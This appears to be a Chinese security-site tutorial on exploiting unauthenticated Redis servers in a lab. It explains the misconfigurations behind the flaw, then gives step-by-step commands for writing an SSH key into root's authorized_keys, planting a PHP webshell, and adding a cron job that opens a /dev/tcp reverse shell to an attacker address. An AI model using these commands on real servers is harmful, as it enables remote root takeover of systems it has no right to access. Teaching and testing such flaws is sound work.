标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-3319]   作者: 小螺号 发表于: [2023-08-19]  [2023-08-19]被用户:小螺号 修改过

本文共 [95] 位读者顶过

redis未授权访问漏洞

漏洞原理

1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。[出自:jiwo.org]
2.没有设置密码认证(一般为空)或者设置弱口令密码,导致任何用户可以远程登录redis服务。


意思大概就是,由于管理者配置不当,导致任何人都可以(通过redis客户端)登录他的redis服务,然后搞事情。 比如删数据、写入一句话木马、上传公钥登录ssh服务、反弹shell


管理者如何配置不当?

1.没有设置密码,或者设置密码为弱口令
2.没有开启防火墙
3.将6379端口直接暴露在公网上,允许任何人访问
4.将将protected-mode设置为no,把保护关掉。
5.用管理员身份运行redis服务

漏洞环境

ubuntu下的的redis

漏洞复现

1.扫描靶机端口,看是否开放6379端口

2.发现6379开放,且是redis服务,于是用redis客户端直接连接,看是否存在密码。使用info命令i查看基本信息。

发现没有密码,可以直接登录,info命令有回显。证明存在redis未授权访问漏洞。


利用方式一

写入SSH公钥实现ssh登录

1.到~/.ssh目录下,生成自己的公钥
ssh-keygen -t rsa

2.将公钥写入一个txt文件
(echo -e"\n";cat id_rsa.pub;echo -e "\n")>1.txt

3.将公钥中的内容作为值写入到hack中
cat 1.txt | ./redis-cli -h ip -p 6379 -x set hack

4.连接redis服务
./redis-cli -h ip -p 6379

5.更改redis备份路径为ssh公钥存放目录
config set dir /root/.ssh

6.设置上传公钥的备份文件名字为authorized_keys,保存,退出
config set dbfilename authorized_keys
save
exit

7.尝试登录
ssh -i id_rsa root@ip


登录成功!权限为root

利用方式二

写入一句话木马

config set dir /var/www/html/
config set  dbfilename shell.php
set x ""
或者:
set shell "\r\n\r\n\r\n\r\n"
save



访问成功



用蚁剑连接


连接成功!

利用方式三

反弹shell

redis-cli -h 192.168.217.130

//写入反弹命令
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip/8888 0>&1\n\n"
config set dir /var/spool/cron/crontabs/
config set dbfilename root
save

结束!

基础知识

杀死redis进程
1. ps -ef|grep redis

示例:
[root@iz2ze5w0d1f4lqljfb9ld0z ~]# ps -ef | grep redis
root 12745 11480  0 15:01 ?        00:00:00 ./redis-server *:6379
root     14769 14731  0 15:17 pts/6    00:00:00 grep --color=auto redis

2. kill -9 pid

示例:
kill -9 12745

redis基础语法


/etc/init.d/redis-server stop
/etc/init.d/redis-server start
/etc/init.d/redis-server restart
————————————————

评论

暂无
发表评论
 返回顶部 
热度(95)
 关注微信